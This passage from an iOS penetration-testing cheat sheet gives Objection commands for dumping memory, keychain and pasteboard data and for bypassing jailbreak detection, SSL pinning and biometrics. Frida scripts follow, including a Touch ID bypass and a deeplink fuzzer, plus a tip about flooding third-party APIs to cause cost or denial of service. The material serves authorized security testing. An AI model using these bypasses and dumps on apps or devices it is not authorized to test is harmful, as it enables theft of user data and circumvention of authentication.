nsurlcredentialstorage dump 761 | 762 | ios nsuserdefaults get 763 | ``` 764 | 765 | Sensitive data such as app's PIN, password, etc., should not be stored as a plain-text in the keychain; instead, they should be hashed as an additional level of protection. 766 | 767 | Dump app's memory to a file: 768 | 769 | ```fundamental 770 | memory dump all mem.dmp 771 | ``` 772 | 773 | Dump app's memory after, e.g., 10 minutes of inactivity, then, check if sensitive data is still in the memory, see section [4. Inspect Files](#4-inspect-files). 774 | 775 | **In case Objection detaches from the app, use the process ID to attach it back without restarting the app.** 776 | 777 | Search app's memory directly: 778 | 779 | ```bash 780 | memory search 'somestring' --string 781 | ``` 782 | 783 | List classes and methods: 784 | 785 | ```bash 786 | ios hooking list classes 787 | ios hooking search classes 'keyword' 788 | 789 | ios hooking list class_methods 'someclass' 790 | ios hooking search methods 'keyword' 791 | ``` 792 | 793 | Hook on a class or method: 794 | 795 | ```bash 796 | ios hooking watch class 'someclass' 797 | 798 | ios hooking watch method '-[someclass somemethod]' --dump-args --dump-backtrace --dump-return 799 | ``` 800 | 801 | Change the method's return value: 802 | 803 | ```bash 804 | ios hooking set return_value '-[someclass somemethod]' false 805 | ``` 806 | 807 | Monitor crypto libraries: 808 | 809 | ```fundamental 810 | ios monitor crypto 811 | ``` 812 | 813 | Monitor the pasteboard: 814 | 815 | ```fundamental 816 | ios pasteboard monitor 817 | ``` 818 | 819 | You can also dump the pasteboard using [cycript](#dump-the-pasteboard). 820 | 821 | ### Bypasses 822 | 823 | Bypass a jailbreak detection: 824 | 825 | ```bash 826 | ios jailbreak disable --quiet 827 | 828 | objection -g com.someapp.dev explore --startup-command 'ios jailbreak disable --quiet' 829 | ``` 830 | 831 | Also, on your iOS device, check `A-Bypass` in `Settings` app. 832 | 833 | --- 834 | 835 | Bypass SSL pinning: 836 | 837 | ```bash 838 | ios sslpinning disable --quiet 839 | 840 | objection -g com.someapp.dev explore --startup-command 'ios sslpinning disable --quiet' 841 | ``` 842 | 843 | Also, on your iOS device, check [SSL Kill Switch 2](#ssl-kill-switch-2) in `Settings` app. 844 | 845 | --- 846 | 847 | Bypass biometrics: 848 | 849 | ```bash 850 | ios ui biometrics_bypass --quiet 851 | 852 | objection -g com.someapp.dev explore --startup-command 'ios ui biometrics_bypass --quiet' 853 | ``` 854 | 855 | Also, you can import [Frida](#frida-scripts) script. 856 | 857 | ## 8. Repackage an IPA 858 | 859 | [SSH](#ssh-to-your-ios-device) to your iOS device and run the following commands. 860 | 861 | Navigate to the app specific directory: 862 | 863 | ```bash 864 | cd /private/var/containers/Bundle/Application/XXX...XXX/ 865 | ``` 866 | 867 | Repackage the IPA: 868 | 869 | ```fundamental 870 | mkdir Payload 871 | 872 | cp -r someapp.app Payload 873 | 874 | zip -r repackaged.ipa Payload 875 | 876 | rm -rf Payload 877 | ``` 878 | 879 | On your Kali Linux, download the repackaged IPA: 880 | 881 | ```fundamental 882 | scp root@192.168.1.10:/private/var/containers/Bundle/Application/XXX...XXX/repackaged.ipa ./ 883 | ``` 884 | 885 | If you want to pull a decrypted IPA from your iOS device, see section [Pull a Decrypted IPA](#pull-a-decrypted-ipa). 886 | 887 | ## 9. Miscellaneous 888 | 889 | ### Monitor the System Log 890 | 891 | On your Kali Linux, run the following command: 892 | 893 | ```fundamental 894 | idevicesyslog -p 1337 895 | ``` 896 | 897 | Or, get the PID from a keyword: 898 | 899 | ```fundamental 900 | keyword="keyword"; idevicesyslog -p $(frida-ps -Uai | grep -i "${keyword}" | tr -s '[:blank:]' ' ' | cut -d ' ' -f 1) 901 | ``` 902 | 903 | ### Monitor File Changes 904 | 905 | [SSH](#ssh-to-your-ios-device) to your iOS device, then, download and run [Filemon](http://www.newosxbook.com): 906 | 907 | ```bash 908 | wget http://www.newosxbook.com/tools/filemon.tgz && tar zxvf filemon.tgz && chmod +x filemon 909 | 910 | ./filemon -c -f com.someapp.dev 911 | ``` 912 | 913 | Always look for created or cached files, images/screenshots, etc. Use `nano` to edit files directly on your iOS device. 914 | 915 | Sensitive files such as know your customer (KYC) and similar, should not persists in the app specific directories on the user device after the file upload. Sensitive files should not be stored in `/tmp/` directory nor similar system-wide directories. 916 | 917 | Images and screenshots path: 918 | 919 | ```fundamental 920 | cd /var/mobile/Containers/Data/Application/YYY...YYY/Library/SplashBoard/Snapshots/ 921 | ``` 922 | 923 | ### Dump the Pasteboard 924 | 925 | After copying sensitive data, the app should wipe the pasteboard after a short period of time. 926 | 927 | [SSH](#ssh-to-your-ios-device) to your iOS device and run the following commands: 928 | 929 | ```fundamental 930 | cycript -p 1337 931 | 932 | [UIPasteboard generalPasteboard].items 933 | ``` 934 | 935 | Press `CTRL + D` to exit. 936 | 937 | You can also monitor the pasteboard in [Objection](#7-objection). 938 | 939 | ### Get the Provisioning Profile 940 | 941 | ```fundamental 942 | scp root@192.168.1.10:/private/var/containers/Bundle/Application/XXX...XXX/*.app/embedded.mobileprovision ./ 943 | 944 | openssl smime -inform der -verify -noverify -in embedded.mobileprovision 945 | ``` 946 | 947 | ## 10. Tips and Security Best Practices 948 | 949 | Bypass any keyboard restriction by copying and pasting data into an input field. 950 | 951 | Access tokens should be short lived, and if possible, invalidated on logout. 952 | 953 | Don't forget to test widgets, push notifications, app extensions, and Firebase. 954 | 955 | Sometimes, deeplinks and widgets can bypass authentication, including biometrics. 956 | 957 | Only if explicitly allowed, try flooding 3rd party APIs to cause possible monetary damage to the company, or denial-of-service (DoS) by exhausting the allowed quotas/limits. 958 | 959 | --- 960 | 961 | App should not disclose sensitive data in the predictive text (due to incorrectly defined input field type), app switcher, and push notifications. 962 | 963 | App should warn a user when taking a screenshot of sensitive data. 964 | 965 | App should warn a user that it is trivial to bypass biometrics authentication if iOS device is jailbroken. 966 | 967 | Production app (i.e., build) should not be debuggable. 968 | 969 | ## 11. Useful Websites and Tools 970 | 971 | | URL | Description | 972 | | --- | --- | 973 | | [developer.apple.com/account](https://developer.apple.com/account) | Official iOS documentation, create code signing certificates, etc. | 974 | | [developer.apple.com/apple-pay/sandbox-testing](https://developer.apple.com/apple-pay/sandbox-testing) | Test debit/credit cards for Apple Pay. | 975 | | [streaak/keyhacks](https://github.com/streaak/keyhacks) | Validate various API keys. | 976 | | [zxing.org/w/decode.jspx](https://zxing.org/w/decode.jspx) | Decode QR codes. | 977 | | [youtube.com/user/iDeviceMovies](https://www.youtube.com/user/iDeviceMovies) | Useful videos about jailbreaking, etc. | 978 | | [ipsw.me/product/iPhone](https://ipsw.me/product/iPhone) | Firmwares for Apple devices. | 979 | -------------------------------------------------------------------------------- /img/3uTools_sideloading.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ivan-sincek/ios-penetration-testing-cheat-sheet/581f51bf980c85d6ea18fc98710c9d178be19db2/img/3uTools_sideloading.jpg -------------------------------------------------------------------------------- /img/ReProvision_Reborn_sideloading.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ivan-sincek/ios-penetration-testing-cheat-sheet/581f51bf980c85d6ea18fc98710c9d178be19db2/img/ReProvision_Reborn_sideloading.jpg -------------------------------------------------------------------------------- /img/anytrans_download.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ivan-sincek/ios-penetration-testing-cheat-sheet/581f51bf980c85d6ea18fc98710c9d178be19db2/img/anytrans_download.png -------------------------------------------------------------------------------- /img/anytrans_export.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ivan-sincek/ios-penetration-testing-cheat-sheet/581f51bf980c85d6ea18fc98710c9d178be19db2/img/anytrans_export.png -------------------------------------------------------------------------------- /img/iexplorer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ivan-sincek/ios-penetration-testing-cheat-sheet/581f51bf980c85d6ea18fc98710c9d178be19db2/img/iexplorer.png -------------------------------------------------------------------------------- /img/iexplorer_browse.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ivan-sincek/ios-penetration-testing-cheat-sheet/581f51bf980c85d6ea18fc98710c9d178be19db2/img/iexplorer_browse.png -------------------------------------------------------------------------------- /img/sqlite.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ivan-sincek/ios-penetration-testing-cheat-sheet/581f51bf980c85d6ea18fc98710c9d178be19db2/img/sqlite.png -------------------------------------------------------------------------------- /img/unc0ver_jailbreaking.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ivan-sincek/ios-penetration-testing-cheat-sheet/581f51bf980c85d6ea18fc98710c9d178be19db2/img/unc0ver_jailbreaking.png -------------------------------------------------------------------------------- /img/unc0ver_official_website.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ivan-sincek/ios-penetration-testing-cheat-sheet/581f51bf980c85d6ea18fc98710c9d178be19db2/img/unc0ver_official_website.png -------------------------------------------------------------------------------- /scripts/gcp_firebase.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # pip3 install pyrebase4 4 | 5 | import pyrebase 6 | 7 | config = { 8 | "apiKey": "apiKey", 9 | "authDomain": "authDomain.firebaseapp.com", 10 | "databaseURL": "https://databaseURL.firebaseio.com", 11 | "storageBucket": "storageBucket.appspot.com" 12 | } 13 | 14 | firebase = pyrebase.initialize_app(config) 15 | 16 | db = firebase.database() 17 | 18 | print(db.get()) 19 | -------------------------------------------------------------------------------- /scripts/ios-deeplink-fuzzing.js: -------------------------------------------------------------------------------- 1 | /************************************************************************ 2 | * Name: iOS Deeplink Fuzzing 3 | * OS: iOS 4 | * Author: @dki (Credits to the author!) 5 | * Source: https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing 6 | * Edited: https://github.com/ivan-sincek/ios-penetration-testing-cheat-sheet/blob/main/scripts/ios-deeplink-fuzzing.js (heavy rebase) 7 | ************************************************************************ 8 | * 9 | * Usage: 10 | * frida -U --no-pause -l ios-deeplink-fuzzing.js -f com.someapp.dev 11 | * 12 | * Get the hooked app's URL schemes: 13 | * getSchemes(); 14 | * 15 | * Open a URL (deeplink) system-wide: 16 | * openURL("somescheme://com.someapp.dev/somepath"); 17 | * 18 | * Get all apps for a given URL scheme: 19 | * getApps("somescheme"); 20 | * 21 | * Emulate a single home button click (for app backgrounding): 22 | * homeSinglePress(); 23 | * 24 | * Move all crash logs matching the app's name to "/tmp/" directory: 25 | * moveCrashLogs("someapp"); 26 | * 27 | * Specify a wordlist to use for fuzzing: 28 | * addFuzzStringsFromFile("/tmp/wordlist.txt"); 29 | * 30 | * Fuzz a URL (deeplink) - wehere '{0}' is the placeholder for insertion point: 31 | * fuzz("somescheme://com.someapp.dev/action?param={0}"); 32 | * 33 | * You might want to call 'openURL()' once for the target URL (deeplink) before fuzzing to dismiss any prompt that might appear: 34 | * openURL("somescheme://com.someapp.dev/action"); 35 | * fuzz("somescheme://com.someapp.dev/action?param={0}"); 36 | * 37 | ************************************************************************/ 38 | function getSchemes() { 39 | var dictionary = ObjC.classes.NSBundle.mainBundle().infoDictionary().objectForKey_("CFBundleURLTypes"); 40 | if (!dictionary) { 41 | console.log("Hooked app does not have any URL schemes."); 42 | } else { 43 | dictionary = dictionary.objectAtIndex_(0); 44 | var keys = dictionary.allKeys(); 45 | for (var i = 0; i < keys.count(); i++) { 46 | var key = keys.objectAtIndex_(i); 47 | if (key == "CFBundleURLName") { 48 | console.log("URL Scheme Name: " + dictionary.objectForKey_(key)); 49 | } else if (key == "CFBundleURLSchemes") { 50 | var schemes = []; 51 | var tmp = dictionary.objectForKey_(key); 52 | for (var j = 0; j < tmp.count(); j++) { 53 | schemes.push(tmp.objectAtIndex_(j)); 54 | } 55 | console.log("URL Schemes: [" + schemes.join(", ") + "]"); 56 | } 57 | } 58 | } 59 | } 60 | function openURL(url) { 61 | var workspace = ObjC.classes.LSApplicationWorkspace.defaultWorkspace(); 62 | return workspace.openSensitiveURL_withOptions_(ObjC.classes.NSURL.URLWithString_(url), null); 63 | } 64 | function getApps(scheme) { 65 | var apps = []; 66 | var tmp = ObjC.classes.LSApplicationWorkspace.defaultWorkspace().applicationsAvailableForHandlingURLScheme_(scheme); 67 | for (var i = 0; i < tmp.count(); i++) { 68 | apps.push(tmp.objectAtIndex_(i).bundleExecutable()); 69 | } 70 | return apps; 71 | } 72 | function homeSinglePress() { 73 | var controller = ObjC.classes.SBUIController; 74 | if (controller) { 75 | var version = ObjC.classes.UIDevice.currentDevice().systemVersion().toString(); 76 | ObjC.schedule(ObjC.mainQueue, function() { 77 | if (version.startsWith("9")) { 78 | controller.sharedInstance().clickedMenuButton(); 79 | } else { 80 | // doesn't work on iOS 13, need to find a solution; should work on iOS 10 and 11 81 | controller.sharedInstance().handleHomeButtonSinglePressUp(); 82 | } 83 | }); 84 | } 85 | } 86 | function moveCrashLogs(app) { 87 | var fm = ObjC.classes.NSFileManager.defaultManager(); 88 | var dir = "/private/var/mobile/Library/Logs/CrashReporter/"; 89 | var predicate = ObjC.classes.NSPredicate.predicateWithFormat_("SELF like \"" + app + "*.ips\""); 90 | var files = fm.contentsOfDirectoryAtPath_error_(dir, NULL).filteredArrayUsingPredicate_(predicate); 91 | for (var i = 0; i < files.count(); i++) { 92 | var file = files.objectAtIndex_(i); 93 | fm.moveItemAtPath_toPath_error_(dir + file, "/tmp/" + file, NULL); 94 | } 95 | return files.count(); 96 | } 97 | if (!String.format) { 98 | String.format = function(format) { 99 | var args = Array.prototype.slice.call(arguments, 1); 100 | return format.replace(/{(\d+)}/g, function(match, number) { 101 | return typeof args[number] != 'undefined' ? args[number] : match; 102 | }); 103 | }; 104 | } 105 | // add or modify fuzz strings here 106 | var fuzzStrings = [ 107 | "0", 108 | "000", 109 | "0.00", 110 | "-1", 111 | "1", 112 | "NaN", 113 | "-NaN", 114 | "Infinity", 115 | "-Infinity", 116 | "inf", 117 | "-inf", 118 | "0b0", 119 | "0x0", 120 | "0b00111101110011001100110011001101", 121 | "0x1.999999999999ap-4", 122 | "&h00", 123 | "&hff", 124 | "0.00000000000000000000000000000000000000000000000001", 125 | "1e-50", 126 | "0e0", 127 | "true", 128 | "false", 129 | "+1", 130 | "0e-1", 131 | "0e1", 132 | "null", 133 | "None", 134 | "nil", 135 | "An Array", 136 | "%20%090", 137 | "0%20%00%00", 138 | "-2147483648", 139 | "2147483647", 140 | "4294967295", 141 | "-2147483649", 142 | "2147483648", 143 | "4294967296", 144 | Array(256).join("9"), 145 | Array(512).join("9"), 146 | Array(1024).join("9") 147 | ]; 148 | fuzzStrings.iter = function() { 149 | var index = 0; 150 | var data = this; 151 | return { 152 | next: function() { 153 | return { 154 | value: data[index], 155 | done: index++ == (data.length - 1) 156 | }; 157 | } 158 | } 159 | }; 160 | function addFuzzStringsFromFile(path) { 161 | var fm = ObjC.classes.NSFileManager.defaultManager(); 162 | if (!fm.isReadableFileAtPath_(path)) { 163 | console.error("Cannot read the wordlist. Make sure the wordlist is on the iOS device and has the read permission!"); 164 | } else { 165 | var lines = ObjC.classes.NSString.stringWithContentsOfFile_(path, "NSUTF8StringEncoding", NULL).componentsSeparatedByString_("\n"); 166 | if (!lines.count()) { 167 | console.warn("Wordlist is empty! Moving on with the built-in list..."); 168 | } else { 169 | fuzzStrings.length = 0; 170 | for (var i = 0; i < lines.count(); i++) { 171 | fuzzStrings.push(lines.objectAtIndex_(i)); 172 | } 173 | console.log("Wordlist has been loaded successfully."); 174 | } 175 | } 176 | } 177 | function fuzz(url) { 178 | var apps = getApps(url.split('://')[0]); 179 | if (apps.length > 1) { 180 | console.error("Multiple apps handle this URL scheme, script will now exit!\nApps: [" + apps.join(", " + "]")); 181 | return; 182 | } 183 | var app = apps[0]; 184 | function Fuzzer(url, app, iter, sleep) { 185 | this.url = url; 186 | this.app = app; 187 | this.iter = iter; 188 | this.sleep = sleep; 189 | } 190 | Fuzzer.prototype.checkForCrash = function(done) { 191 | homeSinglePress(); 192 | if (moveCrashLogs(this.app)) { 193 | console.error("Crashed!"); 194 | } 195 | if (!done) { 196 | this.fuzz(); 197 | } 198 | }; 199 | Fuzzer.prototype.fuzz = function() { 200 | var iter = this.iter.next(); 201 | var fuzzedURL = String.format(this.url, iter.value); 202 | if (openURL(fuzzedURL)) { 203 | console.log("Opened URL: " + fuzzedURL); 204 | } else { 205 | console.error("URL refused by SpringBoard: " + fuzzedURL); 206 | } 207 | ObjC.classes.NSThread.sleepForTimeInterval_(this.sleep); 208 | this.checkForCrash(iter.done); 209 | }; 210 | console.warn("Monitoring crashes for \"" + app + "\"..."); 211 | var count = moveCrashLogs(app); 212 | if (count) { 213 | console.warn("Number of crash logs moved to \"/tmp/\": " + count.toString()); 214 | } 215 | var fuzzer = new Fuzzer(url, app, fuzzStrings.iter(), 2); // change the sleep between attempts here 216 | fuzzer.fuzz(); 217 | } 218 | setTimeout(function() { 219 | if (ObjC.available) { 220 | console.log(""); 221 | // -------------------- 222 | getSchemes(); 223 | // -------------------- 224 | // modify the code below as necessary, you can also paste the whole above code directly into Frida and call each method as needed 225 | // openURL("somescheme://com.someapp.dev/action"); 226 | // addFuzzStringsFromFile("/tmp/wordlist.txt"); // load fuzz strings from a wordlist 227 | // fuzzStrings.push("somestring"); // append an additional fuzz string 228 | // fuzz("somescheme://com.someapp.dev/action?param={0}"); 229 | } else { 230 | console.log("Objective-C Runtime is not available!"); 231 | } 232 | }, 250); 233 | -------------------------------------------------------------------------------- /scripts/ios-hook-classes-methods.js: -------------------------------------------------------------------------------- 1 | /************************************************************************ 2 | * Name: iOS Hook All Classes & Methods 3 | * OS: iOS 4 | * Author: @interference-security (Credits to the author!) 5 | * Source: https://codeshare.frida.re/@interference-security/ios-app-all-classes-methods-hooks 6 | * Edited: https://github.com/ivan-sincek/ios-penetration-testing-cheat-sheet/blob/main/scripts/ios-hook-classes-methods.js 7 | ************************************************************************/ 8 | function print_ex(ex, debug = false) { 9 | if (debug) { console.error("[!] Exception: " + ex.message); } 10 | } 11 | function get_timestamp() { 12 | var today = new Date(); 13 | return today.getHours() + ":" + today.getMinutes() + ":" + today.getSeconds(); 14 | } 15 | function hook_class_method(class_name, method_name) { 16 | var hook = ObjC.classes[class_name][method_name]; 17 | Interceptor.attach(hook.implementation, { 18 | onEnter: function(args) { 19 | console.log("[+] [" + get_timestamp() + "] " + class_name + " " + method_name); 20 | } 21 | }); 22 | } 23 | function hook_all_methods_of_all_classes() { 24 | console.log("[*] Hooking all methods of all classes..."); 25 | var free = new NativeFunction(Module.findExportByName(null, "free"), "void", ["pointer"]); 26 | var objc_copyClassNamesForImage = new NativeFunction(Module.findExportByName(null, "objc_copyClassNamesForImage"), "pointer", ["pointer", "pointer"]); 27 | var size = Memory.alloc(Process.pointerSize); Memory.writeUInt(size, 0); 28 | var ptrClasses = objc_copyClassNamesForImage(Memory.allocUtf8String(ObjC.classes.NSBundle.mainBundle().executablePath().UTF8String()), size); 29 | size = Memory.readUInt(size); 30 | for (var i = 0; i < size; i++) { 31 | var className = Memory.readUtf8String(Memory.readPointer(ptrClasses.add(i * Process.pointerSize))); 32 | if (ObjC.classes.hasOwnProperty(className)) { 33 | var methods = ObjC.classes[className].$ownMethods; 34 | for (var j = 0; j < methods.length; j++) { 35 | try { hook_class_method(className, methods[j]); } catch (ex) { print_ex(ex); } 36 | } 37 | } 38 | } 39 | free(ptrClasses); 40 | console.log("[*] Hooking all methods of all classes has finished!"); 41 | } 42 | setTimeout(function(){ 43 | if (ObjC.available) { 44 | setImmediate(hook_all_methods_of_all_classes); 45 | } else { 46 | console.log("Objective-C Runtime is not available!"); 47 | } 48 | }, 250); 49 | -------------------------------------------------------------------------------- /scripts/ios-touch-id-bypass.js: -------------------------------------------------------------------------------- 1 | /************************************************************************ 2 | * Name: iOS Touch ID Bypass 3 | * OS: iOS 4 | * Author: @FSecureLABS (Credits to the author!) 5 | * Source: https://github.com/FSecureLABS/needle/blob/master/needle/modules/hooking/frida/script_touch-id-bypass.py 6 | * Edited: https://github.com/ivan-sincek/ios-penetration-testing-cheat-sheet/blob/main/scripts/ios-touch-id-bypass.js 7 | ************************************************************************/ 8 | setTimeout(function(){ 9 | if (ObjC.available) { 10 | var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"]; 11 | Interceptor.attach(hook.implementation, { 12 | onEnter: function(args) { 13 | console.log("Trying to bypass touch ID..."); 14 | var block = new ObjC.Block(args[4]); 15 | const callback = block.implementation; 16 | block.implementation = function(error, value) { 17 | console.log("Touch ID has been bypassed successfully!"); 18 | return callback(true, null); 19 | }; 20 | } 21 | }); 22 | } else { 23 | console.log("Objective-C Runtime is not available!"); 24 | } 25 | }, 0); 26 | --------------------------------------------------------------------------------